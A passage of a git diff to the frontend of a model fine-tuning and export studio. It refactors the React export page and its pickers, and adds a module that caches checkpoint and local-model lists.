-              <EmptyTitle>No recipes yet</EmptyTitle>
-              <EmptyDescription>
-                Browse Learning Recipes below to understand how recipe workflows
-                work.
-              </EmptyDescription>
-            </EmptyHeader>
-            <EmptyContent className="max-w-6xl items-stretch">
-              {/*<Button*/}
-              {/*  type="button"*/}
-              {/*  variant="secondary"*/}
-              {/*  className="mx-auto"*/}
-              {/*  onClick={() => setLearningDialogOpen(true)}*/}
-              {/*  disabled={isBusy}*/}
-              {/*>*/}
-              {/*  <HugeiconsIcon icon={CookBookIcon} className="size-4" />*/}
-              {/*  Start Tutorial*/}
-              {/*</Button>*/}
-              <LearningRecipeCards
-                onSelect={(template) => {
-                  openLearningRecipe(template).catch(() => undefined);
-                }}
-                loadingTemplateId={loadingTemplateId}
-              />
-            </EmptyContent>
-          </Empty>
-        ) : (
-          <div className="mt-8 space-y-2">
-            {recipes.map((recipe) => (
-              <div
-                key={recipe.id}
-                className="flex items-center gap-3 rounded-xl border bg-card px-4 py-3"
-              >
-                <button
-                  type="button"
-                  className="flex min-w-0 flex-1 items-center gap-3 text-left"
-                  onClick={() => openRecipe(recipe)}
-                >
-                  <div className="flex size-9 shrink-0 items-center justify-center rounded-lg border border-border/70 bg-muted/20">
-                    <HugeiconsIcon
-                      icon={CookBookIcon}
-                      className="size-4 text-muted-foreground"
-                    />
-                  </div>
-                  <div className="min-w-0">
-                    <div className="flex items-center gap-2">
-                      <p className="truncate text-sm font-medium">
-                        {recipe.name}
-                      </p>
-                      {recipe.learningRecipeId ? (
-                        <Badge variant="outline">Learning Recipe</Badge>
-                      ) : null}
-                    </div>
-                    <p className="text-xs text-muted-foreground">
-                      Last updated {formatRelativeTime(recipe.updatedAt)} |
-                      Created {formatRelativeTime(recipe.createdAt)}
-                    </p>
-                  </div>
-                </button>
-                <Button
-                  type="button"
-                  variant="ghost"
-                  size="icon"
-                  className="size-8"
-                  onClick={() => {
-                    handleDeleteRecipe(recipe.id).catch(() => undefined);
-                  }}
-                  aria-label={`Delete ${recipe.name}`}
-                >
-                  <HugeiconsIcon icon={Delete02Icon} className="size-4" />
-                </Button>
-              </div>
-            ))}
-          </div>
         )}
       </main>
 
diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx
index 29ba5a703b..9d938a5ee3 100644
--- a/studio/frontend/src/features/export/components/export-run-panel.tsx
+++ b/studio/frontend/src/features/export/components/export-run-panel.tsx
@@ -2,7 +2,6 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Button } from "@/components/ui/button";
-import { FolderBrowser } from "@/components/assistant-ui/model-selector/folder-browser";
 import { Input } from "@/components/ui/input";
 import {
   InputGroup,
@@ -17,6 +16,7 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { FolderBrowser } from "@/features/model-picker";
 import {
   AlertCircleIcon,
   ArrowRight01Icon,
@@ -28,17 +28,17 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
+import type { ExportLogEntry } from "../api/export-api";
 import {
   EXPORT_METHODS,
   type ExportMethod,
   findMergedFormat,
 } from "../constants";
-import type { ExportLogEntry } from "../api/export-api";
 import { getExportLogLineClass } from "../lib/log-style";
 import {
+  type ExportDestination,
   selectExportProgressPercent,
   useExportRuntimeStore,
-  type ExportDestination,
 } from "../stores/export-runtime-store";
 
 function useElapsedSeconds(startedAt: number | null, running: boolean): number {
@@ -165,7 +165,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
 
   const isExporting = run.isExporting;
   const isTerminal =
-    run.phase === "success" || run.phase === "error" || run.phase === "canceled";
+    run.phase === "success" ||
+    run.phase === "error" ||
+    run.phase === "canceled";
   const showConfig = run.phase === "idle";
   // Gate the log area on the active run's method (from the store) as well as the
   // local form selection, so it stays visible after navigating away and back
@@ -197,7 +199,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
     setFollowTail(nearBottom);
   };
 
-  const methodTitle = EXPORT_METHODS.find((m) => m.value === exportMethod)?.title;
+  const methodTitle = EXPORT_METHODS.find(
+    (m) => m.value === exportMethod,
+  )?.title;
   const summary = run.summary;
   const summaryBaseModel = summary?.baseModelName ?? baseModelName;
   const summaryCheckpoint = summary?.checkpointLabel ?? checkpoint;
@@ -274,7 +278,7 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
               </div>
               <div className="flex items-stretch gap-2">
                 <Input
-                  className="min-w-0 flex-1 font-mono text-[12px]"
+                  className="min-w-0 flex-1 font-mono text-ui-12"
                   value={saveDirectory}
                   onChange={(e) => onSaveDirectoryChange(e.target.value)}
                   spellCheck={false}
@@ -290,19 +294,22 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                       onClick={() => setFolderBrowserOpen(true)}
                       aria-label="Browse save folder"
                     >
-                      <HugeiconsIcon icon={FolderSearchIcon} className="size-4" />
+                      <HugeiconsIcon
+                        icon={FolderSearchIcon}
+                        className="size-4"
+                      />
                     </Button>
                   </TooltipTrigger>
                   <TooltipContent>Browse</TooltipContent>
                 </Tooltip>
               </div>
-              <p className="text-[11px] text-muted-foreground/70">
+              <p className="text-ui-11 text-muted-foreground/70">
                 {saveDirectory !== defaultSaveDirectory ? (
                   <>Default: {defaultSaveDirectory}</>
                 ) : (
                   <>
-                    Paste an absolute path if the folder browser cannot reach the
-                    drive.
+                    Paste an absolute path if the folder browser cannot reach
+                    the drive.
                   </>
                 )}
               </p>
@@ -343,7 +350,7 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                         href="https://huggingface.co/settings/tokens"
                         target="_blank"
                         rel="noopener noreferrer"
-                        className="flex items-center gap-1 text-[11px] text-emerald-600 hover:text-emerald-700 transition-colors"
+                        className="flex items-center gap-1 text-ui-11 text-emerald-600 hover:text-emerald-700 transition-colors"
                       >
                         Get token
                         <HugeiconsIcon icon={ArrowRight01Icon} className="size-3" />
@@ -362,7 +369,7 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                         onChange={(e) => onHfTokenChange(e.target.value)}
                       />
                     </InputGroup>
-                    <p className="text-[11px] text-muted-foreground/70">
+                    <p className="text-ui-11 text-muted-foreground/70">
                       Leave empty if already logged in via CLI.
                     </p>
                   </div>
@@ -410,14 +417,17 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                     : [];
               const showLabels = items.length > 1;
               return items.map((o, i) => (
-                <div key={`${o.path}-${i}`} className="flex min-w-0 flex-col gap-0.5">
+                <div
+                  key={`${o.path}-${i}`}
+                  className="flex min-w-0 flex-col gap-0.5"
+                >
                   {showLabels && o.label ? (
                     <span className="text-xs text-emerald-700/80 dark:text-emerald-300/80">
                       {o.label}
                     </span>
                   ) : null}
                   <code
-                    className="select-all break-all font-mono text-[12px] text-foreground/90"
+                    className="select-all break-all font-mono text-ui-12 text-foreground/90"
                     title={o.path}
                   >
                     {o.path}
@@ -431,14 +441,22 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
 
       {run.phase === "canceled" && (
         <div className="flex items-start gap-2 rounded-lg bg-amber-500/10 p-3 text-sm text-amber-700 dark:text-amber-300">
-          <HugeiconsIcon icon={CancelCircleIcon} className="mt-0.5 size-4 shrink-0" />
-          <span>Export canceled. Training and inference were not affected.</span>
+          <HugeiconsIcon
+            icon={CancelCircleIcon}
+            className="mt-0.5 size-4 shrink-0"
+          />
+          <span>
+            Export canceled. Training and inference were not affected.
+          </span>
         </div>
       )}
 
       {run.phase === "error" && run.error && (
         <div className="flex items-start gap-2 rounded-lg bg-destructive/10 p-3 text-sm text-destructive">
-          <HugeiconsIcon icon={AlertCircleIcon} className="size-4 mt-0.5 shrink-0" />
+          <HugeiconsIcon
+            icon={AlertCircleIcon}
+            className="size-4 mt-0.5 shrink-0"
+          />
           <span>{run.error}</span>
         </div>
       )}
@@ -447,15 +465,21 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
       <div className="rounded-xl bg-muted/50 p-3 text-xs text-muted-foreground flex flex-col gap-1">
         <div className="flex justify-between">
           <span>Base Model</span>
-          <span className="font-medium text-foreground">{summaryBaseModel}</span>
+          <span className="font-medium text-foreground">
+            {summaryBaseModel}
+          </span>
         </div>
         <div className="flex justify-between">
           <span>{isAdapter ? "Checkpoint" : "Model"}</span>
-          <span className="font-medium text-foreground">{summaryCheckpoint}</span>
+          <span className="font-medium text-foreground">
+            {summaryCheckpoint}
+          </span>
         </div>
         <div className="flex justify-between">
           <span>Export Method</span>
-          <span className="font-medium text-foreground">{summaryMethodLabel}</span>
+          <span className="font-medium text-foreground">
+            {summaryMethodLabel}
+          </span>
         </div>
         {summaryMethod === "merged" && summaryFormats.length > 0 && (
           <div className="flex justify-between gap-3">
@@ -479,18 +503,23 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
       {showProgress && (
         <div className="flex flex-col gap-2">
           <div className="flex flex-wrap items-center gap-2">
-            <span className="rounded-full bg-foreground/10 px-2.5 py-1 text-[10px] font-semibold">
+            <span className="rounded-full bg-foreground/10 px-2.5 py-1 text-ui-10 font-semibold">
               {PHASE_LABELS[run.phase] ?? run.phase}
             </span>
             {summaryMethod === "gguf" && run.quantTotal > 1 && (
-              <span className="text-[10px] tabular-nums text-muted-foreground">
-                Quant {Math.min(run.quantIndex + (isExporting ? 1 : 0), run.quantTotal)} of {run.quantTotal}
+              <span className="text-ui-10 tabular-nums text-muted-foreground">
+                Quant{" "}
+                {Math.min(
+                  run.quantIndex + (isExporting ? 1 : 0),
+                  run.quantTotal,
+                )}{" "}
+                of {run.quantTotal}
               </span>
             )}
-            <span className="rounded-full border border-border/60 px-2.5 py-1 text-[10px] font-medium tabular-nums text-muted-foreground">
+            <span className="rounded-full border border-border/60 px-2.5 py-1 text-ui-10 font-medium tabular-nums text-muted-foreground">
               {progress}%
             </span>
-            <span className="text-[10px] tabular-nums text-muted-foreground/70">
+            <span className="text-ui-10 tabular-nums text-muted-foreground/70">
               {formatElapsed(elapsedSeconds)}
             </span>
           </div>
@@ -506,7 +535,10 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
             }
           />
           {run.stage && (
-            <p className="truncate text-[11px] text-muted-foreground/80" title={run.stage}>
+            <p
+              className="truncate text-ui-11 text-muted-foreground/80"
+              title={run.stage}
+            >
               {run.stage}
             </p>
           )}
@@ -520,7 +552,7 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                 <label className="text-xs font-medium text-muted-foreground">
                   Export output
                 </label>
-                <div className="flex items-center gap-2 text-[11px] text-muted-foreground/80">
+                <div className="flex items-center gap-2 text-ui-11 text-muted-foreground/80">
                   <span
                     className={
                       run.reconnecting
@@ -544,7 +576,7 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
               <div
                 ref={logScrollRef}
                 onScroll={handleLogScroll}
-                className="h-56 w-full overflow-auto rounded-lg border border-border/40 bg-black/85 p-3 font-mono text-[11px] leading-[1.45] text-emerald-200/90"
+                className="h-56 w-full overflow-auto rounded-lg border border-border/40 bg-black/85 p-3 font-mono text-ui-11 leading-[1.45] text-emerald-200/90"
               >
                 {run.logLines.length === 0 ? (
                   <div className="flex h-full items-center justify-center text-muted-foreground/70">
@@ -556,10 +588,7 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                 ) : (
                   <div className="whitespace-pre-wrap break-words">
                     {run.logLines.map((entry, idx) => (
-                      <div
-                        key={idx}
-                        className={getExportLogLineClass(entry)}
-                      >
+                  <div key={idx} className={getExportLogLineClass(entry)}>
                         {formatLogLine(entry)}
                       </div>
                     ))}
diff --git a/studio/frontend/src/features/export/components/method-picker.tsx b/studio/frontend/src/features/export/components/method-picker.tsx
index 282b7c99f8..0ab72b0b4a 100644
--- a/studio/frontend/src/features/export/components/method-picker.tsx
+++ b/studio/frontend/src/features/export/components/method-picker.tsx
@@ -61,13 +61,14 @@ export function MethodPicker({ value, onChange, disabledMethods = [], disabledRe
               key={m.value}
               type="button"
               disabled={isDisabled}
+              aria-pressed={selected}
               onClick={() => !isDisabled && onChange(m.value)}
               className={cn(
                 "flex items-start gap-3 rounded-xl p-4 text-left ring-1 transition-colors",
                 isDisabled
                   ? "ring-border opacity-40 cursor-not-allowed"
                   : selected
-                    ? "ring-2 ring-primary bg-primary/5"
+                    ? "ring-1 ring-ring-strong bg-primary/5"
                     : "ring-border hover:bg-muted/40",
               )}
             >
@@ -122,7 +123,7 @@ export function MethodPicker({ value, onChange, disabledMethods = [], disabledRe
                   {m.badge && (
                     <Badge
                       variant="secondary"
-                      className="text-[10px] px-1.5 py-0"
+                      className="text-ui-10 px-1.5 py-0"
                     >
                       {m.badge}
                     </Badge>
diff --git a/studio/frontend/src/features/export/components/quant-picker.tsx b/studio/frontend/src/features/export/components/quant-picker.tsx
index dadc959e55..b8c8e0fc77 100644
--- a/studio/frontend/src/features/export/components/quant-picker.tsx
+++ b/studio/frontend/src/features/export/components/quant-picker.tsx
@@ -61,7 +61,7 @@ export function QuantPicker({ value, onChange, sizes }: QuantPickerProps) {
             </a>
           </TooltipContent>
         </Tooltip>
-        <span className="text-[11px] text-muted-foreground/70">
+        <span className="text-ui-11 text-muted-foreground/70">
           — select one or more
         </span>
       </div>
@@ -73,11 +73,12 @@ export function QuantPicker({ value, onChange, sizes }: QuantPickerProps) {
             <button
               key={q.value}
               type="button"
+              aria-pressed={active}
               onClick={() => toggle(q.value)}
               className={cn(
                 "inline-flex items-center gap-1.5 rounded-full px-3 py-1.5 text-xs font-medium ring-1 transition-colors",
                 active
-                  ? "ring-primary bg-primary/10 text-foreground"
+                  ? "ring-ring-strong bg-primary/10 text-foreground"
                   : "ring-border text-muted-foreground hover:text-foreground hover:ring-foreground/20",
               )}
             >
@@ -89,10 +90,10 @@ export function QuantPicker({ value, onChange, sizes }: QuantPickerProps) {
               )}
               {q.label}
               {sizeLabel && (
-                <span className="text-[10px] opacity-60">{sizeLabel}</span>
+                <span className="text-ui-10 opacity-60">{sizeLabel}</span>
               )}
               {q.recommended && !active && (
-                <span className="rounded-full bg-emerald-100 px-1.5 py-0 text-[9px] font-semibold text-emerald-700 dark:bg-emerald-900 dark:text-emerald-300">
+                <span className="rounded-full bg-emerald-100 px-1.5 py-0 text-ui-9 font-semibold text-emerald-700 dark:bg-emerald-900 dark:text-emerald-300">
                   rec
                 </span>
               )}
@@ -102,13 +103,13 @@ export function QuantPicker({ value, onChange, sizes }: QuantPickerProps) {
       </div>
       {value.length > 0 && (
         <div className="flex items-center gap-3">
-          <span className="text-[11px] text-muted-foreground">
+          <span className="text-ui-11 text-muted-foreground">
             {value.length} selected
           </span>
           <button
             type="button"
             onClick={() => onChange([])}
-            className="text-[11px] text-muted-foreground/70 hover:text-foreground transition-colors"
+            className="text-ui-11 text-muted-foreground/70 hover:text-foreground transition-colors"
           >
             Clear all
           </button>
diff --git a/studio/frontend/src/features/export/export-navigation-cache.ts b/studio/frontend/src/features/export/export-navigation-cache.ts
new file mode 100644
index 0000000000..f026f64525
--- /dev/null
+++ b/studio/frontend/src/features/export/export-navigation-cache.ts
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { type LocalModelInfo, listLocalModels } from "@/features/training";
+import { type ModelCheckpoints, fetchCheckpoints } from "./api/export-api";
+
+let cachedCheckpoints: ModelCheckpoints[] | null = null;
+let checkpointsRequest: Promise<ModelCheckpoints[]> | null = null;
+let cachedLocalModels: LocalModelInfo[] | null = null;
+let localModelsRequest: Promise<LocalModelInfo[]> | null = null;
+
+export function getCachedCheckpoints(): ModelCheckpoints[] | null {
+  return cachedCheckpoints;
+}
+
+export function getCachedLocalModels(): LocalModelInfo[] | null {
+  return cachedLocalModels;
+}
+
+export function refreshCheckpoints(): Promise<ModelCheckpoints[]> {
+  if (checkpointsRequest) {
+    return checkpointsRequest;
+  }
+  const request = fetchCheckpoints()
+    .then((data) => {
+      cachedCheckpoints = data.models;
+      return data.models;
+    })
+    .finally(() => {
+      checkpointsRequest = null;
+    });
+  checkpointsRequest = request;
+  return request;
+}
+
+export function refreshLocalModels(): Promise<LocalModelInfo[]> {
+  if (localModelsRequest) {
+    return localModelsRequest;
+  }
+  const request = listLocalModels()
+    .then((models) => {
+      cachedLocalModels = models;
+      return models;
+    })
+    .finally(() => {
+      localModelsRequest = null;
+    });
+  localModelsRequest = request;
+  return request;
+}
+
+export async function preloadExportData(): Promise<void> {
+  const requests: Promise<unknown>[] = [];
+  if (cachedCheckpoints === null) {
+    requests.push(refreshCheckpoints());
+  }
+  if (cachedLocalModels === null) {
+    requests.push(refreshLocalModels());
+  }
+  await Promise.allSettled(requests);
+}
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 07606a26ed..fc30555253 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -2,8 +2,8 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { SectionCard } from "@/components/section-card";
+import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert";
 import { Button } from "@/components/ui/button";
-import { Switch } from "@/components/ui/switch";
 import {
   Combobox,
   ComboboxContent,
@@ -12,6 +12,14 @@ import {
   ComboboxItem,
   ComboboxList,
 } from "@/components/ui/combobox";
+import {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
 import {
   InputGroup,
   InputGroupAddon,
@@ -24,50 +32,40 @@ import {
   SelectTrigger,
   SelectValue,
 } from "@/components/ui/select";
-import {
-  DropdownMenu,
-  DropdownMenuCheckboxItem,
-  DropdownMenuContent,
-  DropdownMenuLabel,
-  DropdownMenuSeparator,
-  DropdownMenuTrigger,
-} from "@/components/ui/dropdown-menu";
-import {
-  Alert,
-  AlertDescription,
-  AlertTitle,
-} from "@/components/ui/alert";
 import { Separator } from "@/components/ui/separator";
 import { Spinner } from "@/components/ui/spinner";
+import { Switch } from "@/components/ui/switch";
 import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
 import {
   Tooltip,
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { usePlatformStore } from "@/config/env";
+import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
+import { confirmRemoteCodeIfNeeded } from "@/features/security";
+import { prepareHfTokenForUse } from "@/features/hf-auth";
+import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import {
-  listLocalModels,
   type LocalModelInfo,
   useTrainingConfigStore,
 } from "@/features/training";
-import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
-import { confirmRemoteCodeIfNeeded } from "@/features/security";
 import { useDebouncedValue, useHfTokenValidation } from "@/hooks";
+import { useHardwareInfo } from "@/hooks/use-hardware-info";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import {
   AlertCircleIcon,
-  ArrowDown01Icon,
   FolderSearchIcon,
   InformationCircleIcon,
   Key01Icon,
   PackageIcon,
   Search01Icon,
 } from "@hugeicons/core-free-icons";
-import { useSearch } from "@tanstack/react-router";
 import { HugeiconsIcon } from "@hugeicons/react";
+import { useSearch } from "@tanstack/react-router";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
 import type { ModelCheckpoints } from "./api/export-api";
-import { fetchCheckpoints } from "./api/export-api";
 import { ExportRunPanel } from "./components/export-run-panel";
 import { MethodPicker } from "./components/method-picker";
 import { QuantPicker } from "./components/quant-picker";
@@ -77,22 +75,29 @@ import {
   GUIDE_STEPS,
   MERGED_FORMATS,
   type MergedFormatOption,
-  mergedFormatPayload,
   QUANT_OPTIONS,
   buildQuantSizeLabels,
   getEstimatedSize,
+  mergedFormatPayload,
 } from "./constants";
-import { useHardwareInfo } from "@/hooks/use-hardware-info";
-import { usePlatformStore } from "@/config/env";
+import { useExportSizeEstimate } from "./hooks/use-export-size-estimate";
+import {
+  getCachedCheckpoints,
+  getCachedLocalModels,
+  refreshCheckpoints,
+  refreshLocalModels,
+} from "./export-navigation-cache";
 import {
   isExportPanelActive,
   useExportRuntimeStore,
 } from "./stores/export-runtime-store";
-import { useExportSizeEstimate } from "./hooks/use-export-size-estimate";
-import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { exportTourSteps } from "./tour";
 
-const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]);
+const SEARCH_INPUT_REASONS = new Set([
+  "input-change",
+  "input-paste",
+  "input-clear",
+]);
 
 // GGUF LoRA output float types (Q8_0 first / default). Q8_0 falls back to F16 per tensor for dims
 // not divisible by the block size (32); no "auto" - the choice is explicit.
@@ -101,7 +106,6 @@ const LORA_GGUF_OUTTYPES = ["q8_0", "f16", "bf16", "f32"] as const;
 type SourceTab = "local" | "checkpoint" | "hf";
 type SourceMode = "checkpoint" | "model";
 
-
 function safePathSegment(
   value: string | null | undefined,
   fallback = "model",
@@ -125,7 +129,7 @@ function buildRelativeSaveDirectory(
   if (exportMethod === "gguf") {
     const rawName =
       sourceMode === "checkpoint"
-        ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
+        ? (checkpoint ?? selectedModelIdx ?? sourceBaseModelName)
         : sourceBaseModelName;
     return `${safePathSegment(rawName)}-GGUF`;
   }
@@ -136,7 +140,7 @@ function buildRelativeSaveDirectory(
   // Local / HF source (no checkpoint): name from the model id to avoid "model/null".
   const rawName =
     sourceMode === "checkpoint"
-      ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
+      ? (checkpoint ?? selectedModelIdx ?? sourceBaseModelName)
       : sourceBaseModelName;
   return `${safePathSegment(rawName)}-${exportMethod === "lora" ? "adapter" : "merged"}`;
 }
@@ -154,11 +158,12 @@ function siblingGgufDirectory(sourcePath: string): string | null {
       : trimmed.slice(0, slash);
   const name = trimmed.slice(slash + 1);
   if (!name) return null;
-  const sep = parent.endsWith("/") || parent.endsWith("\\")
-    ? ""
-    : trimmed.includes("\\")
-      ? "\\"
-      : "/";
+  const sep =
+    parent.endsWith("/") || parent.endsWith("\\")
+      ? ""
+      : trimmed.includes("\\")
+        ? "\\"
+        : "/";
   return `${parent}${sep}${name}_gguf`;
 }
 
@@ -171,8 +176,12 @@ export function ExportPage() {
   );
 
   // ---- API-driven checkpoint state ----
-  const [models, setModels] = useState<ModelCheckpoints[]>([]);
-  const [loadingCheckpoints, setLoadingCheckpoints] = useState(true);
+  const [models, setModels] = useState<ModelCheckpoints[]>(
+    () => getCachedCheckpoints() ?? [],
+  );
+  const [loadingCheckpoints, setLoadingCheckpoints] = useState(
+    getCachedCheckpoints() === null,
+  );
   const [checkpointError, setCheckpointError] = useState<string | null>(null);
 
   const [selectedModelIdx, setSelectedModelIdx] = useState<string | null>(null);
@@ -184,8 +193,12 @@ export function ExportPage() {
     null,
   );
   const [localModelInput, setLocalModelInput] = useState("");
-  const [localModels, setLocalModels] = useState<LocalModelInfo[]>([]);
-  const [isLoadingLocalModels, setIsLoadingLocalModels] = useState(true);
+  const [localModels, setLocalModels] = useState<LocalModelInfo[]>(
+    () => getCachedLocalModels() ?? [],
+  );
+  const [isLoadingLocalModels, setIsLoadingLocalModels] = useState(
+    getCachedLocalModels() === null,
+  );
   const [localModelsError, setLocalModelsError] = useState<string | null>(null);
   const debouncedModelQuery = useDebouncedValue(modelInput);
   const debouncedHfToken = useDebouncedValue(hfToken, 500);
@@ -250,9 +263,7 @@ export function ExportPage() {
   );
   const toggleFormat = useCallback((value: string) => {
     setSelectedFormats((prev) =>
-      prev.includes(value)
-        ? prev.filter((v) => v !== value)
-        : [...prev, value],
+      prev.includes(value) ? prev.filter((v) => v !== value) : [...prev, value],
     );
   }, []);
   // availableFormats already drops NVIDIA-only formats on other hardware, so no pruning needed.
@@ -296,16 +307,15 @@ export function ExportPage() {
   // ---- Fetch checkpoints on mount ----
   useEffect(() => {
     let cancelled = false;
-    setLoadingCheckpoints(true);
-    setCheckpointError(null);
-    fetchCheckpoints()
-      .then((data) => {
+    const hadCache = getCachedCheckpoints() !== null;
+    refreshCheckpoints()
+      .then((models) => {
         if (!cancelled) {
-          setModels(data.models);
+          setModels(models);
         }
       })
       .catch((err) => {
-        if (!cancelled) {
+        if (!cancelled && !hadCache) {
           setCheckpointError(
             err instanceof Error ? err.message : "Failed to load checkpoints",
           );
@@ -344,30 +354,35 @@ export function ExportPage() {
 
   // ---- Fetch local models for direct export ----
   useEffect(() => {
-    const controller = new AbortController();
-    void listLocalModels(controller.signal)
+    let cancelled = false;
+    const hadCache = getCachedLocalModels() !== null;
+    void refreshLocalModels()
       .then((models) => {
-        if (controller.signal.aborted) return;
+        if (cancelled) return;
         setLocalModels(models);
       })
       .catch((error) => {
-        if (controller.signal.aborted) return;
+        if (cancelled || hadCache) return;
         setLocalModelsError(
-          error instanceof Error ? error.message : "Failed to load local models",
+          error instanceof Error
+            ? error.message
+            : "Failed to load local models",
         );
       })
       .finally(() => {
-        if (controller.signal.aborted) return;
+        if (cancelled) return;
         setIsLoadingLocalModels(false);
       });
-    return () => controller.abort();
+    return () => {
+      cancelled = true;
+    };
   }, []);
 
   // ---- Derived state ----
   const selectedModelData = useMemo(
     () =>
       selectedModelIdx != null
-        ? models.find((m) => m.name === selectedModelIdx) ?? null
+        ? (models.find((m) => m.name === selectedModelIdx) ?? null)
         : null,
     [models, selectedModelIdx],
   );
@@ -390,9 +405,8 @@ export function ExportPage() {
   const trainingMethodLabel = selectedModelData?.peft_type
     ? "LoRA / QLoRA"
     : "Full Fine-tune";
-  const sourceBaseModelName = sourceMode === "model"
-    ? selectedSourceModel ?? "—"
-    : baseModelName;
+  const sourceBaseModelName =
+    sourceMode === "model" ? (selectedSourceModel ?? "—") : baseModelName;
 
   // For a full fine-tune checkpoint the weights live in the checkpoint dir
   // itself (its base_model may be a local/custom path that can't be sized), so
@@ -405,10 +419,19 @@ export function ExportPage() {
       }
     }
     return sourceBaseModelName;
-  }, [sourceMode, isAdapter, checkpointsForModel, checkpoint, sourceBaseModelName]);
+  }, [
+    sourceMode,
+    isAdapter,
+    checkpointsForModel,
+    checkpoint,
+    sourceBaseModelName,
+  ]);
 
   // Real (MoE-aware) fp16 size, used to scale the GGUF quant estimates.
-  const { fp16Bytes } = useExportSizeEstimate(sizeTargetModel, debouncedHfToken);
+  const { fp16Bytes } = useExportSizeEstimate(
+    sizeTargetModel,
+    debouncedHfToken,
+  );
   const quantSizeLabels = useMemo(
     () => buildQuantSizeLabels(fp16Bytes),
     [fp16Bytes],
@@ -521,7 +544,13 @@ export function ExportPage() {
     if ((!effectiveIsAdapter || isMacHost) && ggufTarget !== "model") {
       setGgufTarget("model");
     }
-  }, [effectiveIsAdapter, effectiveIsQuantized, exportMethod, isMacHost, ggufTarget]);
+  }, [
+    effectiveIsAdapter,
+    effectiveIsQuantized,
+    exportMethod,
+    isMacHost,
+    ggufTarget,
+  ]);
 
   const handleSourceTabChange = useCallback((next: string) => {
     if (next === "checkpoint") {
@@ -579,7 +608,10 @@ export function ExportPage() {
       selectedSourceModel
     ) {
       const localModel = localMetaById.get(selectedSourceModel);
-      if (localModel && (localModel.source === "models_dir" || localModel.source === "custom")) {
+      if (
+        localModel &&
+        (localModel.source === "models_dir" || localModel.source === "custom")
+      ) {
         return siblingGgufDirectory(localModel.path) ?? relative;
       }
     }
@@ -606,7 +638,9 @@ export function ExportPage() {
 
   // Restrict a Hub merged export to a single format; multi-format stays available for local export.
   const hubMultiFormat =
-    destination === "hub" && exportMethod === "merged" && selectedFormats.length > 1;
+    destination === "hub" &&
+    exportMethod === "merged" &&
+    selectedFormats.length > 1;
 
   const canExport = !!(
     selectedExportSource &&
@@ -657,7 +691,14 @@ export function ExportPage() {
 
   useEffect(() => {
     setCustomSaveDirectory(null);
-  }, [checkpoint, exportMethod, modelSource, selectedModelIdx, selectedSourceModel, sourceMode]);
+  }, [
+    checkpoint,
+    exportMethod,
+    modelSource,
+    selectedModelIdx,
+    selectedSourceModel,
+    sourceMode,
+  ]);
 
   const handleLocalSourceInputChange = useCallback(
     (value: string, eventDetails?: { reason?: string }) => {
@@ -677,35 +718,46 @@ export function ExportPage() {
   // Assemble the run params from the current form and hand off to the global
   // runtime store, which drives load -> export -> cleanup in the background.
   const handleStart = useCallback(async () => {
-    const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
+    const source =
+      sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
     if (!source || !exportMethod) return;
     // No supported accelerator (or PyTorch/MLX missing): the backend would reject anyway; don't submit.
     if (exportUnsupported) return;
     // GGUF with no quant, or merged with no format, would run an unintended/empty export; require
     // at least one (mirrors canExport, in case the panel's Start button bypasses the outer one).
-    if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0) return;
+    if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0)
+      return;
     if (exportMethod === "merged" && selectedFormats.length === 0) return;
     // A Hub merged push writes each format to the repo root; several would collide (mirrors canExport).
     if (hubMultiFormat) return;
 
-    const selectedCp = sourceMode === "checkpoint"
-      ? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
-      : null;
+    const selectedCp =
+      sourceMode === "checkpoint"
+        ? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
+        : null;
     if (sourceMode === "checkpoint" && !selectedCp) return;
     const checkpointPath = selectedCp?.path ?? null;
 
     const pushToHub = destination === "hub";
-    const repoId = pushToHub && hfUsername && modelName
